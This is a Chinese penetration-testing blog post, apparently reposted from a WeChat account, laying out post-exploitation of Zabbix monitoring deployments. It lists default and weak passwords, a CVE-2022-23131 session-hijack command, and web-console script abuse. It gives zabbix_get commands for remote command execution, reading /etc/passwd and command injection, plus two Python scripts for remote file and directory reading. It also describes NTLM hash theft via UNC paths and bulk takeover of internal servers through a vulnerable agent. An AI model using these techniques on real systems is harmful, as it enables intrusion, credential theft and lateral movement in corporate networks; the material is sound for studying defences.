【后利用】| zabbix攻击思路总结

渗透技巧 1年前 (2023) admin
860 0 0


攻击面梳理

【后利用】| zabbix攻击思路总结

zabbix基础

Zabbix是一个支持实时监控数千台服务器、虚拟机和网络设备的企业级解决方案,客户覆盖许多大型企业。

基础组件

1. Zabbix Server

Zabbix Server是所有配置、统计和操作数据的中央存储中心,也是Zabbix监控系统的告警中心。在监控的系统中出现任何异常,将被发出通知给管理员。

Zabbix Server的功能可分解成为三个不同的组件,分别为Zabbix Server服务、Web后台及数据库。

2. Zabbix Proxy

Zabbix Proxy是在大规模分布式监控场景中采用一种分担Zabbix Server压力的分层结构,其多用在跨机房、跨网络的环境中,Zabbix Proxy可以代替Zabbix Server收集性能和可用性数据,然后把数据汇报给Zabbix Server,并且在一定程度上分担了Zabbix Server的压力。

3. Zabbix Agent

Zabbix Agent部署在被监控的目标机器上,以主动监控本地资源和应用程序(硬盘、内存、处理器统计信息等)。

Zabbix Agent收集本地的状态信息并将数据上报给Zabbix Server用于进一步处理。

对于Zabbix Agent客户端来说,根据请求类型可分为被动模式及主动模式:

请求类型

被动模式(agent开启10050

ServerAgent10050端口获取监控项数据,Agent根据监控项收集本机数据并响应。

主动模式(server开启10051

Agent主动请求Server(Proxy)10051端口获取监控项列表,并根据监控项收集本机数据提交给Server(Proxy)

网络架构

从网络部署架构上看,可分为Server-Client架构、Server-Proxy-Client架构、Master-Node-Client架构:

Server-Client架构

最为常见的Zabbix部署架构,ServerAgent同处于内网区域,Agent能够直接与Server通讯,不受跨区域限制。

【后利用】| zabbix攻击思路总结

Server-Proxy-Client架构

多数见于大规模监控需求的企业内网,其多用在跨机房、跨网络的环境,由于Agent无法直接与位于其他区域的Server通讯,需要由各区域Proxy代替收集Agent数据然后再上报Server

【后利用】| zabbix攻击思路总结


基线配置


从进程列表中可判断当前机器是否已运行zabbix_agentd服务,Linux进程名为zabbix_agentd,Windows进程名为zabbix_agentd.exe。

Zabbix Agent服务的配置文件为zabbix_agentd.conf,Linux默认路径在/etc/zabbix/zabbix_agentd.conf,可通过以下命令查看agent配置文件并过滤掉注释内容:

cat /etc/zabbix/zabbix_agentd.conf | grep -v ‘^#’ | grep -v ‘^$’

首先从配置文件定位zabbix_agentd服务的基本信息:

Server参数

ServerProxyIPCIDR、域名等,Agent仅接受来自Server参数的IP请求。

Server=192.168.10.100

ServerActive参数

ServerProxyIPCIDR、域名等,用于主动模式,Agent主动向ServerActive参数的IP发送请求。

ServerActive=192.168.10.100

StartAgents参数

0时禁用被动模式,不监听10050端口。

StartAgents=0

经过对 zabbix_agentd.conf 配置文件各个参数的安全性研究,总结出以下配置不当可能导致安全风险的配置项:

EnableRemoteCommands参数

是否允许来自Zabbix Server的远程命令,开启后可通过Server下发shell脚本在Agent上执行。

风险样例:

EnableRemoteCommands=1

AllowRoot参数

Linux默认以低权限用户zabbix运行,开启后以root权限运行zabbix_agentd服务。

风险样例:

AllowRoot=1

UserParameter参数

自定义用户参数,格式为UserParameter=<key>,<command>Server可向Agent执行预设的自定义参数命令以获取监控数据,以官方示例为例:

UserParameter=ping[*],echo $1

ServerAgent执行ping[aaaa]指令时,$1为传参的值,Agent经过拼接之后执行的命令为echo aaaa,最终执行结果为aaaa

command存在命令拼接,但由于传参内容受UnsafeUserParameters参数限制,默认无法传参特殊符号,所以默认配置利用场景有限。

官方漏洞案例可参考CVE-2016-4338漏洞。

UnsafeUserParameters参数

自定义用户参数是否允许传参任意字符,默认不允许字符 ‘ ” ` * ? [ ] { } ~ $ ! & ; ( ) < > | # @

风险样例:

UnsafeUserParameters=1

UnsafeUserParameters参数配置不当时,组合UserParameter自定义参数的传参命令拼接,可导致远程命令注入漏洞。

ServerAgent下发指令执行自定义参数,即可在Agent上执行任意系统命令。
UserParameter=ping[*],echo $1 为例,向Agent执行指令ping[test && whoami],经过命令拼接后最终执行echo test && whoami,成功注入执行shell命令。

Include参数

加载配置文件目录单个文件或所有文件,通常包含的conf都是配置UserParameter自定义用户参数。

Include=/etc/zabbix/zabbix_agentd.d/*.conf

获取web后台:

后台默认口令

Admin/zabbix

guest/

Mysql弱口令获取web后台

1123456
2zabbix
3zabbix123
4zabbix1234
5zabbix12345
6zabbix123456

进入MySQL数据库后,通过解密users表的密码md5值,或者直接替换密码的md5为已知密码,即可登录Zabbix Web

CVE-2022-23131 未授权获取管理员session登陆漏洞

脚本已写好

python3 zabbix_session_exp.pxy URL 用户名

【后利用】| zabbix攻击思路总结

替换session即可

【后利用】| zabbix攻击思路总结

MySQL弱口令连接获取登陆密码

默认root用户无法外连,运维通常会新建MySQL用户 zabbix,根据用户习惯梳理了zabbix用户的常见密码:

123456
zabbix
zabbix123
zabbix1234
zabbix12345
zabbix123456

拿下MySQL数据库后,可解密users表的密码md5值,或者直接替换密码的md5为已知密码,即可登录Zabbix Web

SQL注入漏洞获取登陆密码

v2.0 – 3.0.2

拿下MySQL数据库后,可解密users表的密码md5值,或者直接替换密码的md5为已知密码,即可登录Zabbix Web

jsrpc.php,无需登录即可利用。

利用脚本:见后文

【后利用】| zabbix攻击思路总结


web后台后利用

后台下发脚本获取Zabbix Server权限

在管理》脚本》创建脚本

【后利用】| zabbix攻击思路总结

选择zabbix server 命令可以写任意命令

【后利用】| zabbix攻击思路总结

然后选择 检测中》最新数据》如下任意一台主机(因为是server,任意即可),选择刚才的脚本

【后利用】| zabbix攻击思路总结

即可弹出相应的内容

【后利用】| zabbix攻击思路总结

后台下发脚本获取Zabbix Agent权限(需配置RemoteCommands

前提:

Agent远程执行系统命令需要在zabbix_agentd.conf配置文件中开启EnableRemoteCommands参数。

使用cat /etc/zabbix/zabbix_agentd.conf | grep -v ‘^#’ | grep -v ‘^$’ 过滤出未被注释的内容
下图为未开启

【后利用】| zabbix攻击思路总结

利用:

如果开启,选择相应的linux主机执行脚本即可

【后利用】| zabbix攻击思路总结

Zabbix Server后利用获取agent权限(被动模式)

当拥有Zabbix Server权限时的后利用操作

Serverzabbix_get–获取agentshell(需配置RemoteCommands

前提:

EnableRemoteCommands=1(默认为0关闭)

利用:

执行system.run监控项命令实际上等于在Zabbix Web执行脚本

zabbix_get -s ip_adds -p 10050 -k “system.run[whoami]”

【后利用】| zabbix攻击思路总结

Serverzabbix_get–读取agent的文件(需配置AllowRoot

前提:

agent为被动模式,开放10050端口

开启AllowRoot参数

zabbix_agentd服务默认以低权限用户zabbix运行,读取文件受zabbix用户权限限制。开启AllowRoot参数情况下zabbix_agentd服务会以root权限运行,利用vfs.file.contents命令就能任意文件读取。

如果文件超过64KB无法读取,在了解该文件字段格式的情况下可利用vfs.file.regexp命令正则获取关键内容。

利用:

zabbix_get -s ip_adds -p 10050 -k “vfs.file.contents[/etc/passwd]”

【后利用】| zabbix攻击思路总结


vfs.file.regexp命令正则突破64kb获取关键内容

POC

from __future__ import print_function
import subprocess

##agent主机
target = “192.168.21.166”
##
要读的文件
file = “/opt/jumpserver/core/logs/jumpserver.log”

for i in range(1, 2000):
    cmd = ‘vfs.file.regexp[{file},”.*”,,{start},{end},]’.format(file=file, start=i, end=i+1)
    p = subprocess.Popen([“zabbix_get”, “-s”, target, “-k”, cmd], stdout=subprocess.PIPE)
    result, error = p.communicate()
    print(result, end=“”)

【后利用】| zabbix攻击思路总结

Serverzabbix_get–命令注入(配置UserParameter)

前提:

Zabbiax Agentzabbix_agentd.conf配置文件开启UnsafeUserParameters参数的情况下,传参值字符不受限制,只需要找到存在传参的自定义参数UserParameter,就能达到命令注入的效果。

利用:

简单案例,在zabbix_agentd.conf文件中添加自定义参数:

UserParameter=ping[*],echo $1

默认情况下UnsafeUserParameters被禁用,传入特殊字符将无法执行命令。

【后利用】| zabbix攻击思路总结

zabbix_agentd.conf 文件中添加 UnsafeUserParameters=1command经过传参拼接后成功注入系统命令。

zabbix_get -s 172.19.0.5 -p 10050 -k “ping[test && id]”

【后利用】| zabbix攻击思路总结

UnsafeUserParameters参数配置不当问题在监控规模较大的内网里比较常见,内网渗透时可以多留意Agent配置信息。

Serverzabbix_get—读取agent(windows)文件及目录

遍历盘符

zabbix_get -s ip_addr -p 10050 -k “wmi.get[root\cimv2,SELECT Name FROM Win32_LogicalDisk]”
通过追加条件语句排除已经查询处理的结果,从而获取下一行数据。
zabbix_get -s up_addr -p 10050 -k “wmi.get[root\cimv2,SELECT Name FROM Win32_LogicalDisk WHERE Name!=’C:’]”

从图中可以看到通过wmi.get命令查询出了该机器上存在C:D:盘符。

【后利用】| zabbix攻击思路总结


目录遍历

获取C:下的目录,采用条件语句排除法逐行获取。

zabbix_get -s 192.168.98.2 -p 10050 -k “wmi.get[root\cimv2,SELECT Caption FROM Win32_Directory WHERE Drive=’C:’ AND Path=’\\]”

zabbix_get -s 192.168.98.2 -p 10050 -k “wmi.get[root\cimv2,SELECT Caption FROM Win32_Directory WHERE Drive=’C:’ AND Path=’\\‘ AND Caption != ‘C:\\$Recycle.Bin’ ]”

zabbix_get -s 192.168.98.2 -p 10050 -k “wmi.get[root\cimv2,SELECT Caption FROM Win32_Directory WHERE Drive=’C:’ AND Path=’\\‘ AND Caption != ‘C:\\$Recycle.Bin’ AND Caption != ‘C:\\$WinREAgent’ ]”

【后利用】| zabbix攻击思路总结


获取C:下的文件,采用条件语句排除法逐行获取。

zabbix_get -s 192.168.98.2 -p 10050 -k “wmi.get[root\cimv2,SELECT Name FROM CIM_DataFile WHERE Drive=’C:’ AND Path=’\\]”

zabbix_get -s 192.168.98.2 -p 10050 -k “wmi.get[root\cimv2,SELECT Name FROM CIM_DataFile WHERE Drive=’C:’ AND Path=’\\‘ AND Name != ‘C:\\$WINRE_BACKUP_PARTITION.MARKER’ ]”

zabbix_get -s 192.168.98.2 -p 10050 -k “wmi.get[root\cimv2,SELECT Name FROM CIM_DataFile WHERE Drive=’C:’ AND Path=’\\‘ AND Name != ‘C:\\$WINRE_BACKUP_PARTITION.MARKER’ AND Name !=’C:\\browser.exe’ ]”

【后利用】| zabbix攻击思路总结

利用wmi.get命令进行目录遍历、文件遍历,结合vfs.file.contents命令就能够在Windows下实现任意文件读取。

基于zabbix_get命令写了个python脚本,实现Windows的列目录、读文件功能。

import os
import sys

count = 0

def zabbix_exec(ip, command):
    global count
    count = count + 1
    check = os.popen(“./zabbix_get -s “ + ip + ” -k + command + ).read()
    if “Cannot obtain WMI information” not in check:
        return check.strip()
    else:
        return False

def getpath(path):
    return path.replace(\,\\\\).replace(“$”,\$”)

def GetDisk(ip):
    where = “”
    while(True):
        check_disk = zabbix_exec(ip, “wmi.get[rootcimv2,\”SELECT Name FROM Win32_LogicalDisk WHERE Name != ” “ + where + \”]”)
        if check_disk:
            print(check_disk)
            where = where + “AND Name != ‘” + check_disk+ “‘”
        else:
            break

def GetDirs(ip, dir):
    drive = dir[0:2]
    path = dir[2:]

    where = “”
    while(True):
        check_dir = zabbix_exec(ip, “wmi.get[rootcimv2,\”SELECT Caption FROM Win32_Directory WHERE Drive='” + drive + “‘ AND Path='” + getpath(path) + “‘ “ + where + \”]”)
        if check_dir:
            print(check_dir)
            where = where + “AND Caption != ‘” + getpath(check_dir) + “‘”
        else:
            break

def GetFiles(ip, dir):
    drive = dir[0:2]
    path = dir[2:]

    where = “”
    while(True):
        check_file = zabbix_exec(ip, “wmi.get[rootcimv2,\”SELECT Name FROM CIM_DataFile WHERE Drive='” + drive + “‘ AND Path='” + getpath(path) + “‘ “ + where + \”]”)
        if check_file:
            if “Invalid item key format” in check_file:
                continue
            print(check_file)
            where = where + “AND Name != ‘” + getpath(check_file) + “‘”
        else:
            break

def Readfile(ip, file):
    read = zabbix_exec(ip, “vfs.file.contents[“ + file + “]”)
    print(read)

if __name__ == “__main__”:
    if len(sys.argv) == 2:
        GetDisk(sys.argv[1])
    elif sys.argv[2][1] != \:
        Readfile(sys.argv[1], sys.argv[2])
    else:
        GetDirs(sys.argv[1],sys.argv[2])
        GetFiles(sys.argv[1],sys.argv[2])
   
    print(“Request count: “ + str(count))

Serverzabbix_get—Windows UNC路径getshell

前提:

域环境

Window Zabbix Agent默认安装成Windows服务,运行在SYSTEM权限下。在工作组环境中,system用户的Net-NTLM hash为空,所以工作组环境无法利用。

Net-NTLM v1

在域内环境中,SYSTEM用户即机器用户,如果是Net-NTLM v1的情况下,可以利用Responder工具获取Net-NTLM v1 hash并通过算法缺陷解密拿到NTLM hash,配合资源约束委派获取域内机器用户权限,从而拿下Agent机器权限。

利用:

可以利用vfs.file.contents命令读取UNC路径,窃取Zabbix Agent机器的Net-NTLM hash,从而进一步Net-NTLM relay攻击。

可以配合CVE-2019-1040漏洞,relayldap上配置基于资源的约束委派进而拿下Agent机器权限。

zabbix_get -s 192.168.30.200 -p 10050 -k “vfs.file.contents[\\192.168.30.243\cc]”

【后利用】| zabbix攻击思路总结

【后利用】| zabbix攻击思路总结

Zabbix Agent 后利用

常见风险点

deamon服务0.0.0.0监听端口

监听端口的服务未对请求进行鉴权、本地存在明文凭据、鉴权加密校验算法可逆

监听服务的指令模块存在远程命令执行漏洞

源码文件、运维脚本泄露敏感信息

攻击手法

【后利用】| zabbix攻击思路总结

Agent 务监听0.0.0.0:9003端口

采用Python语言编写,代码未受保护

采用原始TCP Socket协议进行任务调度通讯

未限制来源白名单IP、未对请求进行鉴权

存在管控命令执行模块

进程分析

分析当前运行进程,排除系统服务、常见应用服务等进程,结合进程名基本可以判断为Agent进程。

若服务端口监听在0.0.0.0,且服务存在漏洞的情况下,可通过Agent漏洞横向攻击内网其他机器。可根据端口监听的进程PID找到对应运行进程。

【后利用】| zabbix攻击思路总结


文件分析&&漏洞挖掘

通过进程获取到具体文件时,即可进行漏洞挖掘了

分析脚本,为通讯协议

9003端口 对应脚本 bin/updater/updater.py,监听9003接收 socket原始连接

【后利用】| zabbix攻击思路总结

Socket服务监听端口接受

Socket连接请求并处理消息。

【后利用】| zabbix攻击思路总结

JSON解析Socket消息体,根据msgtype字段判断消息类型,并调用对应的指令模块。

【后利用】| zabbix攻击思路总结

分析高危模块

命令执行指令模块,对buff字段进行base64解码后JSON解析,最终调用系统命令执行。

【后利用】| zabbix攻击思路总结

分析Agent代码逻辑编写漏洞利用脚本,脚本根据通讯协议构造请求包调用Agent高危模块 执行任意系统命令。
可向内网任意一台运行着运维Agent的服务器IP端口发送请求,结合端口扫描监听端口发现存在漏洞的服务器,即可造成批量控制企业生产服务器的效果。

【后利用】| zabbix攻击思路总结


BMC Patrol

监听0.0.0.0:3181端口

config.default配置文件存在密文凭证,加密算法可逆

存在命令执行模块

可调用程序自带命令行向其他服务器Agent发起请求

【后利用】| zabbix攻击思路总结

Zabbix Proxy和主动检查模式利用场景

Web添加监控项

利用1:配置了UserParameters

前提:

Zabbiax Agentzabbix_agentd.conf配置文件开启UnsafeUserParameters参数的情况下,传参值字符不受限制,只需要找到存在传参的自定义参数UserParameter,就能达到命令注入的效果。

zabbix_agentd.conf文件中添加自定义参数:

UserParameter=ping[*],echo $1

给指定主机添加监控项,键值中填入监控项命令,信息类型选择文本:

【后利用】| zabbix攻击思路总结


在最新数据中按照筛选条件找到指定主机,等待片刻就能看到执行结果。

【后利用】| zabbix攻击思路总结


利用2:任意文件读取漏洞

前提:

开启AllowRoot参数

【后利用】| zabbix攻击思路总结

【后利用】| zabbix攻击思路总结

通过zabbix_get工具执行结果最大可返回512KB的数据,执行结果存储在MySQL上的限制最大为64KB

ps: 添加的监控项会一直定时执行,所以执行完后记得删除监控项。

后台命令注入(CVE-2020-11800CVE-2017-2824)(可忽略)

Zabbix v3.0.x – 3.0.30

默认不存在,需要服务端开启自动注册功能

默认payload64字节,所以很难反弹shell

POCEXP脚本获取

点击下方名片回复zabbix获取


仅用于学习交流,不得用于非法用途

参考文章:

1https://paper.seebug.org/1697/#zabbix-server

2、《赖志活从红队视角看运维体系攻防.ppt

3、零组文库-CVE-2022-23131

如侵权请私聊公众号删文


原文始发于微信公众号(L0una):【后利用】| zabbix攻击思路总结

版权声明:admin 发表于 2023年3月8日 下午2:20。
转载请注明:【后利用】| zabbix攻击思路总结 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...